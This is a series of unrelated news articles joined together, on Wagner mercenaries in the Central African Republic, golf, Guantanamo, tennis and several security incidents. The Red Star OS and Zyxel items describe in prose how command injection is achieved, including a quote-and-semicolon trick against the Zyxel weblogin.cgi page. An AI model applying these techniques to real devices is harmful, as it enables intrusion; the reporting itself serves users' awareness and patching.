against MINUSCA in Bangui and frequent attacks on its performance by CAR government ministers.At the end of May, Ndiaye condemned "the mobilization of 13- and 14-year-old kids who should be at school and who are being given money to protest in front of MINUSCA [headquarters] demanding the departure of MINUSCA."At the same time, the head of UN peacekeeping missions, Jean-Pierre Lacroix, said there had been "several worrying cases of difficulties with the Central African Armed Forces and their partners."MINUSCA told CNN on Monday that its "report on human right violations is being finalized in coordination with the Office of the High Commissioner of Human Rights and will be released soon."The quest for gold As CNN has previously reported, the growing Russian presence in CAR serves multiple goals. Several companies linked to the mercenaries are part of the business empire of Yevgeny Prigozhin. They include Sewa Services, Wagner PMC and Lobaye Invest. Prigozhin has denied any link to Wagner and has repeatedly refused to talk to CNN.UN experts said in March that they were "deeply disturbed" by the interconnected roles of all three and "their connections to a series of violent attacks that have occurred since the presidential elections" in December.To exploit those mineral concessions, the companies need territorial control. CNN's analysis of the focus of Russian mercenary activity shows it is concentrated in areas rich in minerals.Gold miners work in the Ndassima gold mine, about 25 miles from Bambari, Central African Republic, in May 2019.Near Bambari, for example, there are extensive gold deposits at Ndassima.Last year, the CAR government revoked the license of a Canadian company at Ndassima. According to documents obtained by Sentry and seen by CNN, the Ministry of Mines then gave a 25-year concession to a company called Midas Ressources, which was listed as a Russian entity.The Sentry gathered testimony from several people who say the mercenaries have expelled locals from the mines. One man alleged that Russian mercenaries carried out summary executions of suspected rebels in a village near gold and diamond deposits. He told The Sentry: "Everything that is mining is their priority ... In Bambari, in the Bornou and Adji neighborhoods they loot in search of gold and diamonds."A community leader from a village south of Bambari alleged that when the Russians and CAR troops found local people at a gold mine they slit their throats, adding "they want to create fear so that people don't go to the mining area anymore."According to John Prendergast, co-founder of The Sentry: "This lucrative new model for plunder represents a rapidly spreading threat, delivering death and devastation, and undermining peace and security not only in Central Africa but in other hotspots around the world."A billboard with Russian propaganda is seen in Bangui. The message reads: "Russia hand in hand with the Central African Republic, talk a little, work a lot."The Russians have not been shy about advertising their military presence in CAR.A feature film showing Russian mercenaries fighting alongside local troops against rebels was made at the Russians' main base at Berengo and given a gala premiere at the sports stadium in Bangui in May.An on-screen caption before the movie read that it was "dedicated to the heroic Central African and Russian defenders who have liberated Central Africa."The film was produced by a Russian company linked to Prigozhin's business empire.The Russians now exercise overwhelming influence over the government of President Touadera, and judging by their responses -- at government and private level -- appear to prefer to shrug off the pattern of accusations rather than to address them."Unacceptably, there seem to be no investigations and no accountability for these abuses," according to the UN experts.As one civilian said of his experience at the hands of the mercenaries: "There is no clarity, no charges, someone can be executed for nothing."France -- the former colonial power -- has expressed alarm at the situation. In an interview last month, President Emmanuel Macron described Touadera as a hostage to the Wagner group, and this month France suspended military cooperation with CAR.The government of CAR, meanwhile, has requested another 600 Russian trainers. Russia's deputy ambassador to the UN, Dmitri Polansky, pledged that if deployed they would be unarmed.
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Story highlightsTiger Woods wins his first tournament since 2009 at the Arnold Palmer InvitationalWoods cards a two-under-par final round 70 for a five-shot win over Graeme McDowellMcDowell can only manage a final round 74, the same score as third-placed Ian PoulterTiger Woods has finally ended a victory drought that lasted for 30 months, winning the Arnold Palmer Invitational by five strokes to move back up to sixth in the world.Woods carded a two-under-par final round 70 to finish well clear of Northern Irishman Graeme McDowell who slumped to a closing 74 at Bay Hill, Florida.A 72-hole total of 275 (-13) gave Woods a remarkable seventh victory on one of his favorite courses, but his first tournament success since winning the Australian Masters in November 2009.Final Bay Hill leaderboardA beaming Woods told reporters: "It feels really good. It has been a lot of hard work and I'm so thankful for a lot of people helping me out along the way. They all know who they are.JUST WATCHEDTiger Woods withdraws from eventReplayMore Videos ...MUST WATCHTiger Woods withdraws from event 03:18JUST WATCHEDTiger Woods is back on trackReplayMore Videos ...MUST WATCHTiger Woods is back on track 01:57 "It was incredible to have that type of support here. I used to live here for a long time and it was neat to see some friends come out to cheer me."He added: "It's always fun to play the Masters and I'm looking forward to the momentum I've built up here. "The things I've been working on are all coming together at the right time."The win also confirms Woods' well-being ahead of next month's Masters at Augusta and dispels worries about his fitness, following his withdrawal from the final round of the Cadillac tournament at Doral two weeks ago with an Achilles tendon injury.It also moves Woods onto 72 career PGA Tour titles, one behind Jack Nicklaus but still 10 adrift of the record of Sam Snead, set between 1936 and 1965.Woods has an ominous record when leading from the front and, starting the day just one stroke ahead of McDowell, he was never headed after his rival slumped to a double-bogey six on the very first hole.Another player to prove his fitness was Englishman Ian Poulter, who showed he was over a recent bout of pneumonia to finish alone in third place, seven shots off Woods.
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North Korea's own homegrown computer operating system, that's supposed to be fully hacker proof and more secure than foreign OS, like Microsoft's Windows, can easily be hacked remotely.
A group of hackers managed to break into Red Star OS — North Korea's government sanctioned Linux-based OS — using just a link.
Red Star OS is North Korea's own homegrown OS that looks remarkably just like Apple's OS X and gives North Korean authorities more control over the computers, providing not only security but also spying tools that help track files in a way that if the government wants, every bit of user's data can be traced easily.
According to the information security company Hacker House, Red Star OS contains a critical vulnerability that makes it possible for hackers to gain remote access to any PC running North Korea's OS just by tricking victims into opening a hyperlink.
The latest version of Red Star OS ships with a Firefox-based web browser called Naenara, and according to researchers, the "trivial remote exploit attack vectors" contained in the web browser allows attackers to hack into the system.
Here's how the exploit work:
The Hacker House hackers exploited a particular Red Star application that handles Uniform Request Identifiers (URI) – a string of characters used to identify resources in a network.
Hackers noted that the "mailto" URI request used for email could be exploited by hackers to remotely "execute arbitrary commands."
Since this particular URI does not remove requests from the application's command line, hackers could "trivially obtain code execution" just by injecting malicious links into the command line.
"Whilst probing for vulnerabilities it was noticed that registered URL handlers were passed to a command line utility '/usr/bin/nnrurlshow.' This application (aside from having null ptr de-refs and other cute bugs) takes URI arguments for registered URI handlers when handling application requests such as 'mailto' and 'cal,' the Hacker House hackers explains.
"Naenara doesn't sanitize the command line when handling these URI argument requests and as such you can trivially obtain code execution by passing malformed links to the nnrurlshow binary."
In short, this security flaw can be used easily to install malware or exploit PCs running the Red Star operating system.
Rival South Korea has long blamed North Korea for mounting various cyber attacks against its government, military, and other organizations.
Just recently, the South Korean military blamed North Korea for breaching its military cyber command. A spokesman for the military cyber command told BBC that classified information was thought to have been stolen, although it's not clear exactly what data was accessed.
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Adobe today released its monthly software updates to patch a total of 87 security vulnerabilities in its Adobe Acrobat and Reader, Flash Player and Media Encoder, most of which could lead to arbitrary code execution attacks or worse.
None of the flaws patched this month in Adobe products has been found exploited in the wild.
Out of 87 total flaws, a whopping number of vulnerabilities (i.e., 84 in total) affect Adobe Acrobat and Reader applications alone, where 42 of them are critical and rest 42 are important in severity.
Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution, allowing attackers to take complete control over targeted systems.
Adobe has released updated versions of Acrobat and Reader software for Windows and macOS operating systems to address these security vulnerabilities.
The update for Adobe Flash Player, which will receive security patch updates until the end of 2020, comes this month with a patch for just one security vulnerability( CVE-2019-7837), which is critical in severity and affects Windows, macOS, Linux, and Chrome OS versions of the software.
The third Adobe product that received patches this month is Media Encoder, a powerful tool that allows users to compress audio and/or video files to be played back across browsers and devices.
Adobe has released Media Encoder version 13.1 that addresses two security vulnerabilities, one of which is critical (CVE-2019-7842) and leads to remote code execution while the second is an information disclosure flaw.
Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible.
If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing "Help → Check for Updates" in your Adobe Acrobat and Reader software.
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Kaspersky Lab publishes research resulting from the digital forensic analysis of the hard disk images obtained from the machines attacked by the Wiper - a destructive malware program attacking computer systems related to oil facilities in Western Asia.
Security researchers from Kaspersky Lab have uncovered information suggesting a possible link between the mysterious malware that attacked Iranian oil ministry computers in April and the Stuxnet and Duqu cyber espionage threats.
The malware wipes data from hard drives, placing high priority on those with a .pnf extension, which are the type of files Stuxnet and Duqu used, and has other behavioral similarities, according to Schouwenberg.
It also deletes all traces of itself. As a result, researchers have not been able to get a sample, but they've reviewed mirror images left on hard drives. Kaspersky's researchers were not able to find the mysterious malware, which was given the name Wiper, because very little data from the affected hard disk drives was recoverable.
Even though a connection to Flame is unlikely, there is some evidence suggesting that Wiper might be related to Stuxnet or Duqu.For example, on a few of the hard drives analyzed, the researchers found traces of a service called RAHDAUD64 that loaded files named ~DFXX.tmp where XX are two random digits from the C:\WINDOWS\TEMP folder.
No one has ever found a sample of Wiper in order to study its code and determine exactly what it did to machines in Iran. According to Kaspersky, the malware's algorithm is "designed to quickly destroy as many files as effectively as possible, which can include multiple gigabytes at a time."
Although Flame can be updated by its creators with various modules, including conceivably a module that would destroy data, there has never been any evidence found that Flame had a module that was used to destroy data on machines or wipe out hard drives.
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Story highlightsShaker Aamer, Saudi national with residency, is on hunger strike in GuantanamoHe was arrested for allegedly leading military unit under bin Laden but not chargedFormer Gitmo inmate: Detainees do not get clean water, are strip searched constantlyU.S. Defense Dept: Detainees treated in the most humane manner possibleDetainee 239 has been in Guantanamo for more than 11 years now. He's never been charged with a crime, has been cleared for release twice -- but has yet to be freed.Shaker Aamer, a Saudi national who has British residency, is Detainee 239, arrested in 2001 by U.S. forces in Afghanistan for allegedly leading a military unit under Osama bin Laden, accusations that he denies.His wife and children -- including a son has never met because he was born while Aamer was in Guantanamo -- live in the UK.Aamer is now one of 103 Guantanamo detainees on hunger strike: more than half the detainees at the facility are refusing food and water.Doctors to Obama: Let us treat hunger-striking detainees at Guantanamo Photos: A look inside Guantanamo Photos: A look inside Guantanamo A look inside Guantanamo – Guantanamo Bay's detention facility opened in 2002 with 700 detainees. More than a decade later, 166 remain and more than half are in political limbo, waiting for the Obama administration and Congress to decide whether to close the prison. The frozen status of the detainees has led to hunger strikes, which grew from about a half-dozen inmates at first to more than 100 now. Hide Caption 1 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – Of the 100 detainees on hunger strike, 30 are force-fed liquid supplements using a feeding bag, mask, tubes and Ensure, a practice condemned by human rights groups and the American Medical Association.Hide Caption 2 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – A Detainee Hospital Medical Officer holds a feeding tube as he explains how the procedure is carried out.Hide Caption 3 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – A cardiac monitoring area is set up inside the Detainee Medical Facility at Camp Delta.Hide Caption 4 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – The box protruding from a cell door is known as a "splash box." It is used to keep detainees from being able to splash guards with bodily fluids, a practice that has become a daily occurrence since the start of the hunger strike. Hide Caption 5 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – Medical equipment inside the Detainee Medical Center.Hide Caption 6 of 7 Photos: A look inside Guantanamo A look inside Guantanamo – Restraints are used in an operating room at the medical facility. Hide Caption 7 of 7JUST WATCHEDObama renews call to close GitmoReplayMore Videos ...MUST WATCHObama renews call to close Gitmo 03:22JUST WATCHEDGitmo prisoners being force-fedReplayMore Videos ...MUST WATCHGitmo prisoners being force-fed 02:19The U.S. military says it has now been compelled to force feed inmates to keep them alive -- but even President Obama questioned the practice in a speech on May 23 at the National Defense University at Fort McNair in Washington."Look at the current situation, where we are force-feeding detainees who are holding a hunger strike. Is that who we are?" Obama asked. "Is that something that our founders foresaw? Is that the America we want to leave to our children?"Moazzam Begg, a former inmate of Guantanamo, knows about life in the facility: now he works as outreach director at advocacy group CagePrisoners, which pledges to raise awareness about prisoners at Guantanamo Bay as well as others impacted by the war on terror."People are saying they are protesting the conditions," explains Begg, "that they don't get clean drinking water. They are getting stripped searched constantly. Sprayed in the face with pepper spray. Rubber bullets. All of that is true. But that's not why they are doing this. They are doing this because there is no hope."Opinion: Stop force-feeding inmates and close Gitmo A U.S. Defense Department spokesman said: "Accusations that the detainees in our charge are treated in anyway other than the most humane manner possible, informed by the processes established by the U.S. Bureau of Prisons, simply does not stand up to even glancing intellectual rigor."Shaker Aamer explained why he was continuing with his hunger strike in answer to questions composed by, and posed by, his lawyers at London-based law firm Reprieve. Here are his replies: Q: What is the status of your hunger strike? How are you feeling?A: I am losing my mind, I am losing my health, I am losing my life. They are trying to do as much damage to us as they can before we leave here. They are humiliating us as much as they can. They are harming me as much as they can.For 11 days my heart has been aching very bad. If I sneeze I feel as if there is ice on my heart. It is in my shoulder on my left hand side. I cannot cough or laugh. It gets a little better if I hold my hand on my chest. That does not help much but without that I feel as if something is going to blow up.Q: Are you being force fed and what is that process like?A: I do not want to be force fed. I don't want to die either, but this is a living death here in Guantanamo, so if I have to risk death for a principle, that is what I want to do.I am not yet being force fed. The new procedure is to wait until people are really badly off and have physically harmed themselves perhaps permanently before force feeding, which then just keeps us barely alive, as a husk of a human being.The way they have gone about force feeding has been designed to be torturous. So back in 2005 or 2006 they used to leave the tube in my nose for days on end; now they pull it out after every feed, so detainees have 120 cm of tube shoved in and pulled out twice a day. And although a corpsman recently said they have plenty of size eight tubes, they only use the bigger ones. And if someone vomits on himself (as just happened) they carry on force feeding him. It is very, very wrong. Q. How would you describe your treatment in the prison? A: Our prophet told us: "Speak only as people can comprehend if you want them to understand." Nobody can understand what it means to be under torture 24/7. It is not just hanging you from the ceiling, or being beaten up. It is fighting for hours to get a packet of salt. It is beyond explanation.I met with the London Metropolitan Police for three days in February as part of their investigation into torture, and told them some of what has happened to me. They had a statement from me that ran to maybe 120 pages, but that is still only one page for every month of my suffering here. How can the truth be told in such a short time?It is all senseless, all about trying to break us. The most I can say is to quote George Orwell, in "1984": "The system is for the system, the torture is for the torture."Not everyone is the same. Some of the corpsmen and guards are beautiful people trying to get me to help them with other detainees, because they are afraid the men will die. Some of the guards are aware of what is happening here. These guards say: "I'm sorry 239." I honestly forgive them, even though what they are doing is wrong.Not all guards are like that, sadly. People here are dying for lack of a salad. There is a brother on my block with a heart problem. We do not want him on the hunger strike as he could not survive it. He needs salad as he cannot eat most of the food they give him. So I took the salad they had given me and asked the guard to take if over to his cell. The guard would not do it. In the end, though, I managed to get it from the splash box on my cell door to my brother.Q: What has your daily routine become like?A: I am in the "psych cell." They want to tell the world I am crazy. They have a man standing outside my cell all the time, staring at me. He writes down everything I do. "239 stood up. 239 sat down. 239 scratched his head." This is every day. This has been going on for over a month. I came here on April 9.There is a white woman comes all the way from the control room and stands in front of my cell with the other guard. She writes on a piece of paper in front of me. She whispers in his ear. She reads a paper from the file. "I studied psychology before you were born," I told her. After all, I was a nurse. I know the psychology is a package. Someone has created the whole system and they just follow it.So in response I write everything they do and send it to my lawyer.The other day I wanted to dry my shirt after washing it. I hung it on the door. There is nothing else, as it's the psych cell, meant to stop you hanging yourself. So I put it there. As soon as I did it, they told me to take it down. I told them, "You have the camera 24/7. You are watching me all the time." But they brought the FCE team. [Editor's note: abbreviation for Forcible Cell Extraction ]The other brothers on the block argued with them. But I knew they wanted to FCE me any way they can. They did it. They FCE me for anything.I sing to my brothers. Sometimes I sing to the guards. I talk to the guards a lot. I shout to the other prisoners. I try to lift their spirits. But despite this I am falling apart like an old car. Now the engine of the car is beginning to fail, the heart is really aching. I have not been able to read for a month now. My eyes are going. I cannot remember anything. I forget things. I cannot stand up. I fall down. But I don't want to fall down too much. They will do a Code Yellow on me when they burst into my cell and step on my hands, they tread on you.It is cold in here. You might not think so, as it's 70.5 degrees. But when you've not eaten for 100 days, that's cold. I try to do exercise in my cell. A brother told me to do some gentle things to keep my body warm. But it is hard on my heart and I need to conserve myself.They took my basic isomat so it was even colder. I slept without it for 9 or 10 days. Thankfully I just got it back. Q: What conditions are there for the end of your hunger strike?A: The hunger strike is a simple matter: it is about justice. There are 86 detainees here (including me) who have been cleared by the Americans -- cleared to leave this place, but they are still here. There are 80 who are not cleared, but they have not been tried. It is ironic. President Obama seems to agree with us that the place should be closed, so presumably he agrees with our hunger strike. Q: How do you see your hunger protest ending?A: By being set free. And I believe it will happen very soon. I do go back and forth. On the one hand I know that I am going to come home soon, I am sure of that. On the other, though, they are taking revenge on us in so many ways. I am scared -- I am afraid of taking medications from them. It is like lamb going to the butcher and seeking help. My heart pain is now constant and I don't want to die in here.But I do fear that when my children shout for daddy I will not respond, as I have been called 239 for so long -- they may need to call me by a number for a while.When I get out I want to work with Kings College London, with doctors, lawyers, and everyone, to learn the human rights lessons of Guantánamo. It is only by this that we can make sure we do not do this again. Q: Can you describe how you feel about not being released despite being cleared for release twice?A: No. The most I can say is that I have never even met my youngest child, who was born on the very day I arrived in Guantanamo Bay, February 14, 2002. I have missed my other three lovely children for 11 years. I have missed my wife for 11 years. I have missed my life for 11 years. I have never been charged with anything. Q: What's your message to Obama and Congress?A: I have a message for Obama and Congress. This place is going to close. Either sooner, or later. And it is going to be a stain on America's reputation that you start cleaning either sooner, or later. Don't wait for too much later, as there are going to be dead people down here, and that's not good for anyone. Q: Are you worried that by speaking out the authorities will in any way punish you?A: What more can they do to me that they have not already done?
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(CNN)Bear Grylls has landed himself in hot water and faces a potential fine after killing and cooking a frog while filming in a protected national park in Bulgaria. The British adventure TV presenter filmed an episode of his Running Wild series in Bulgaria's Rila mountains in 2017 alongside US ballroom dancer Derek Hough, and was seen gutting and cooking a frog. But Bulgaria's environment ministry said Thursday that Grylls had violated the nature reserve's environmental regulations by killing the animal, swimming in a lake and lighting a fire. "It is evident from the film material that during the shooting there were breaches to the regulations and rules of conduct in protected areas: entering and swimming in the water basin of the Karakashevo lake, lighting a fire, and catching and killing an animal," a spokesperson for the ministry said in a statement to the AFP news agency. Bear Gryll's was accompanied by former US president Barack Obama on an expedition in Alaska in 2015. Officials from the department said they were considering fining Grylls and Hough between €250 and €2,500 ($284-$2,834), while the production companies, Bear Grylls Ventures and Electus, could face a fine of between €500 and €5,000 ($567-$5,670). Read MoreThe department reported that Grylls and his film crew had been briefed over the rules governing the park. It added that it would also investigate the park authority, in order to determine whether officials who accompanied Grylls had failed to enforce the regulations. Both Bulgaria's environment ministry and Grylls' representatives did not immediately respond to CNN's request for comment. Grylls has faced sharp criticism in the past from conservationists and animal rights campaigners for his treatment of animals on screen. Claire Bass, director of Humane Society International/UK, said Friday that no animal should be killed as a result of celebrities playing "survival games." "Yet again Bear Grylls' animal killing activities are quite rightly coming under fire," she told CNN. "It's time for TV to dump this tired routine of men charging around the wilderness dominating wildlife and killing for ratings. It shows a callous disregard for the natural world and treats animals like mere props."She added that higher ethical standards in broadcasting are required in order change perspectives on "acceptable ways to behave" in regards to animals.David Attenborough: 'The collapse of our civilizations is on the horizon'David Attenborough, the renowned broadcaster and naturalist, has previously criticized Grylls for his treatment of animals. "Bear Grylls will have to answer for himself," he told The Sun in 2018, adding that his own nature shows, which include Blue Planet 2, would never "willingly kill" any animals in order to get a shot. Rila National Park, in the southwest of the country, is Bulgaria's biggest national park. It was established in 1992 and is home to rare and endangered animal and plant species. Grylls' shows have previously shown participants killings animals including pigs, turkeys and caiman crocodiles. His most high-profile participant was the then-US President, Barack Obama, who accompanied him on an expedition in Alaska in 2015, during which they ate a salmon pre-gnawed by a bear.
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Story highlightsA figurine from an ancient tomb appears to move on its ownFor decades it stood stillMuseum officials set up a camera to observe it 24/7Vibrations in the museum may be the cause The museum officials were stumped. A statue is supposed to stand still, not rotate all by itself. But this one at the Manchester Museum seemed to have done just that. Turned around 180 degrees -- revealing an inscription on its back asking for beer. No other figure in the display had moved -- nor had any other in the museum. For the staff, it was a bona fide mystery. One that called for some serious sleuthing. A simple statueStatuette no. 9325 doesn't appear to go by any proper name. It's a prefabricated figure -- an off-the-shelf product -- that was placed into a small tomb around 1800 B.C. JUST WATCHEDSpinning statue stumps museum officialsReplayMore Videos ...MUST WATCHSpinning statue stumps museum officials 00:57A private collector in Britain donated it to the museum in 1933. The inscription on the back, requesting a sacrifice of beer, bread and animals, was a standard prayer for the deceased.For decades, the figurine stood perfectly still -- until museum workers moved its case a few feet from its original position. Turn, turn, turnIn February, curator Campbell Price noticed something curious was afoot. The statue seemed to have slightly turned.When he looked next, it was facing another direction. A day later, another.The turns were subtle. But at the end of each day, you could tell the statue was angled differently. Caught in the actIn April, museum officials installed a time-lapse camera that snapped an image of the statue every minute of every day for a week. When they ran the images in fast motion, they came across a surprising revelation: the statue only moved during the day, when visitors were walking past.It seemed, Price wrote, that vibrations caused by foot traffic in room was the culprit.Mysterious structure found at bottom of ancient lakeMystery solved?Though officials now have a logical explanation, it still seems a bit mysterious."What is very strange is that the statue has spun in a perfect circle," Price said. "It hasn't wobbled off in any particular direction." Some are in awe of the spirit nature of the figurine, and don't quite accept Price's explanation. One of the blog's readers left his own theory for no. 9325's movements in the comments section: "The statue is cursed," wrote benabrahamse. A museum guide has suggested saying a prayer for the statue.But Price is unmoved. "Most Egyptologists are not superstitious people," he said.No one has bought the statue a beer.After all, they don't want it wobbling.Faithful flock to 'bleeding' Virgin Mary statue
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A new version of the infamous Mirai botnet is exploiting a recently uncovered critical vulnerability in network-attached storage (NAS) devices in an attempt to remotely infect and control vulnerable machines.
Called "Mukashi," the new variant of the malware employs brute-force attacks using different combinations of default credentials to log into Zyxel NAS, UTM, ATP, and VPN firewall products to take control of the devices and add them to a network of infected bots that can be used to carry out Distributed Denial of Service (DDoS) attacks.
Multiple Zyxel NAS products running firmware versions up to 5.21 are vulnerable to the compromise, Palo Alto Networks' Unit 42 global threat intelligence team said, adding they uncovered the first such exploitation of the flaw in the wild on March 12.
Zyxel's Pre-Authentication Command Injection Flaw
Mukashi hinges on a pre-authentication command injection vulnerability (tracked as CVE-2020-9054), for which a proof-of-concept was only made publicly available last month. The flaw resides in a "weblogin.cgi" program used by the Zyxel devices, thereby potentially allowing attackers to perform remote code execution via command injection.
"The executable weblogin.cgi doesn't properly sanitize the username parameter during authentication. The attacker can use a single quote (') to close the string and a semicolon (;) to concat arbitrary commands to achieve command injection," according to Unit 42 researchers. "Since weblogin.cgi accepts both HTTP GET and POST requests, the attacker can embed the malicious payload in one of these HTTP requests and gain code execution."
Zyxel issued a patch for the vulnerability last month after it emerged that precise instructions for exploiting the flaw were being sold in underground cybercrime forums for $20,000 for use against targets. But the update doesn't address the flaw on many older unsupported devices.
As a workaround, the Taiwan-based networking equipment maker has urged users of those affected models to not leave the products directly exposed to the Internet, and connect them to a security router or firewall for additional protection.
Mukashi Targets Zyxel NAS Devices
Just like other Mirai variants, Mukashi operates by scanning the Internet for vulnerable IoT devices like routers, NAS devices, security cameras, and digital video recorders (DVRs), looking for potential hosts that are protected only by factory-default credentials or commonly-used passwords to co-opt them into the botnet.
If a brute-force login turns out to be successful, Mukashi not only reports the login attempt to a remote attacker-controlled command-and-control (C2) server but also awaits further commands to launch DDoS attacks.
"When it's executed, Mukashi prints the message 'Protecting your device from further infections.' to the console," Unit42 researchers said. "The malware then proceeds to change its process name to dvrhelper, suggesting Mukashi may inherit certain traits from its predecessor."
Mirai's History of DDoS attacks
The Mirai botnet, since its discovery in 2016, has been linked to a string of large-scale DDoS attacks, including one against DNS service provider Dyn in October 2016, causing major internet platforms and services to remain inaccessible to users in Europe and North America.
Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet since 2016.
It's recommended that all Zyxel consumers download the firmware update to protect devices from Mukashi hijacks. Updating default credentials with complex login passwords can also go a long way towards preventing such brute-force attacks.
The full list of Zyxel products affected by the flaw is available here. You can also test if a Zyxel NAS device is vulnerable here.
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(CNN)The encounter between the teen phenom and her idol didn't disappoint as the drama continued at the women's WTA year-end championships. In this case it was the elder superstar in Simona Halep who downed the ailing Canadian trailblazer Bianca Andreescu 3-6 7-6 (8-6) 6-3, saving a match point in the process. Halep didn't enjoy the greatest of preparation for the elite tournament due to a lingering back complaint, but it was Andreescu's back that ultimately gave way in the grueling two-and-a-half hour thriller. This @Simona_Halep @Bandreescu_ match is a final... @WTAFinals— Chris Evert (@ChrissieEvert) October 28, 2019 The earlier match in the Purple Group went into the record books, with defending champion Elina Svitolina winning the longest ever tiebreak at the WTA Finals 14-12 as part of a 7-6 (14-12) 6-4 triumph over Karolina Pliskova. The first two days in the event's new home of Shenzhen, China haven't disappointed -- both matches Sunday went to a third set. Andreescu's parents hail from Romania and their daughter spent chunks of time in Romania when younger. Later, she got the chance to meet Halep, who fielded questions and gave her some advice. It was the Wimbledon champion who ultimately had the right answers on court Monday against Canada's maiden grand slam singles winner. Read MoreREAD: Naomi Osaka: 'I want to leave some sort of legacy'JUST WATCHEDNaomi Osaka reflects on a rollercoaster 2019ReplayMore Videos ...MUST WATCHNaomi Osaka reflects on a rollercoaster 2019 02:54They both beat the same player, all-time great Serena Williams, in the Wimbledon and US Open finals. Svitolina, meanwhile, lost to Andreescu in Indian Wells, California in March, when the latter truly announced herself to the tennis world. Her record this year stood at 48-5 and was even better against the top 10 -- a win-loss record of 8-1. All that despite withdrawing from the French Open in the first week and missing Wimbledon altogether with a troublesome right shoulder injury.Those figures seemed like getting even better when the feisty all-rounder led by a set and 6-5 in the second. She took it to Halep, especially when returning second serves, and was the aggressor for most of the first two sets.Simona Halep beat Bianca Andreescu in three sets at the WTA Finals on Monday. Early upper hand for AndreescuThinking on her feet -- literally -- she struck a tweener from the baseline facing the net at 2-4 in the second set and overcame a slight graze to her lower left leg that necessitated a rare medical timeout not during a changeover. One sensed it was a win for Halep just to be competing in Shenzhen after missing last year's showpiece in Singapore courtesy of the back, but she despises losing and it showed on the match point. Andreescu held the upper hand in the rally but Halep defended admirably, finally getting an unforced error from her opponent. Biance Andreescu suffered just her sixth loss of the season. Halep only struck three unforced errors in the Wimbledon final and while that wasn't the case against Andreescu, the match point sums up her counter punching brilliance. In the tense tiebreak, Halep slapped her thigh in frustration when a set point went astray, while Andreescu bounced her racket in disgust at 6-6 after a backhand miss. After Andreescu missed a second-serve return wide to end the set, Halep smiled to her box, which included influential Australian coach Darren Cahill. Both players took medical timeouts, though in Halep's case it seemed to be for a tape issue to her foot. Andreescu was in more distress and Halep, from a 2-1 break deficit in the third, cruised home. Svitolina went undefeated last year and an unblemished champion this year would give the winner a check of $4.725 million, the biggest ever payday in tennis. The counter punching Svitolina had won three in a row against ace queen Pliskova, so the Czech dropping the first set in an hour and five minutes and in such dramatic fashion was a massive blow. Tiebreak keySvitolina converted on her seventh set point in the tiebreak -- Pliskova had one.The Ukrainian broke early in the second set, Pliskova drew level but the reigning champion prevailed after hitting four good first serves to escape from 15-40 in the final game. JUST WATCHEDElina Svitolina on the WTA Finals and SerenaReplayMore Videos ...MUST WATCHElina Svitolina on the WTA Finals and Serena 03:25Svitolina made her grand slam breakthrough this season, making semifinals at Wimbledon and the US Open. If she wins the title in Shenzhen, the world No. 8 would become the first back-to-back winner since Williams claimed three in a row from 2012-2014. Sunday's winners, Australian Open champion Naomi Osaka and French Open titleist Ashleigh Barty, face off in the Red Group Tuesday, while Melbourne runner up Petra Kvitova meets US Open semifinalist Belinda Bencic. Osaka beat current world No. 1 Barty in the gripping Beijing final earlier this month.
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In what appears to be a fresh twist in Android malware, users of Gigaset mobile devices are encountering unwanted apps that are being downloaded and installed through a pre-installed system update app.
"The culprit installing these malware apps is the Update app, package name com.redstone.ota.ui, which is a pre-installed system app," Malwarebytes researcher Nathan Collier said. "This app is not only the mobile device's system updater, but also an auto installer known as Android/PUP.Riskware.Autoins.Redstone."
The development was first reported by German author and blogger Günter Born last week.
While the issue seems to be mainly affecting Gigaset phones, devices from a handful of other manufacturers appear to be impacted as well. The full list of devices that come with the pre-installed auto-installer includes Gigaset GS270, Gigaset GS160, Siemens GS270, Siemens GS160, Alps P40pro, and Alps S20pro+.
According to Malwarebytes, the Update app installs three different versions of a trojan ("Trojan.Downloader.Agent.WAGD") that's capable of sending SMS and WhatsApp messages, redirecting users to malicious game websites, and downloading additional malware-laced apps.
"The malicious WhatsApp messages are most likely in order to further spread the infection to other mobile devices," Collier noted.
Users have also reported experiencing a second separate strain of malware called "Trojan.SMS.Agent.YHN4" on their mobile devices after landing on gaming websites redirected by the aforementioned WAGD trojan, which mirrors the latter's SMS and WhatsApp messaging functionality to propagate the malware.
Unlike third-party apps downloaded from the Google Play Store, system apps cannot be easily removed from mobile devices without resorting to tools like Android Debug Bridge (ADB).
For its part, Gigaset confirmed the malware attack, stating that an update server used by the devices to fetch software updates was compromised and that only devices that relied on that specific update server were affected. The company has since fixed the issue and is expected to push an update to remove the malware from infected phones, according to Born.
The development comes a week after cybersecurity researchers revealed a new Android malware that was found to pilfer users' photos, videos, and GPS locations by sending a fraudulent notification posing as a "System Update" that is "Searching for update."
When reached for a response, Gigaset said it's investigating the software supply chain incident, adding "we are working closely with IT forensic experts and the relevant authorities. We will inform the affected users as quickly as possible and provide information on how to resolve the problem."
"It is also important to mention at this point that, according to current knowledge, the incident only affects older devices. We currently assume that the devices GS110, GS185, GS190, GS195, GS195LS, GS280, GS290, GX290, GX290plus, GX290 PRO, GS3 and GS4 are not affected," it noted.
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French leading telecommunications company 'Orange' hit by second major data breach of its kind in a matter of months. Company announced that hackers have stolen personal data of 1.3 million customers of its online portal.
ORANGE HACKED SECOND TIME IN THREE MONTHS
Hackers have stolen a "limited amount of personal information concerning clients and future customers", including their first names, Surnames email addresses, phone numbers for both mobiles and fixed lines, dates of birth as well as the names of clients' mobile and Internet operators.
"The data recovered could be used to contact those concerned by email, SMS or by phone, particularly for phishing purposes," company said in an statement.
The Incident was detected by the company on April 18, but the company has waited until now to inform customers to determine its full extent and to ensure that the security holes leveraged by the hackers have been patched.
BEWARE OF PHISHING ATTACKS
We don't know what the motivations of the Cyber criminals are, it is not known what will actually happen to the Stolen Database. The attackers know the recipients name, so this could potentially lead to e-mail spam and phishing attacks.
Such attacks are frequently disguised as an email from a company asking the customer to provide sensitive information such as passwords, user names or credit card details.
"The data collected could be used to contact people involved in e-mail, SMS or telephone, including for phishing" warns Orange.
In February, Orange revealed a separate security breach, in which more than 800,000 users' emails, passwords, addresses and phone numbers had been stolen from its customer website.
Orange also reported that it had found the source of the attack and has filed an official police complaint about the data breach.
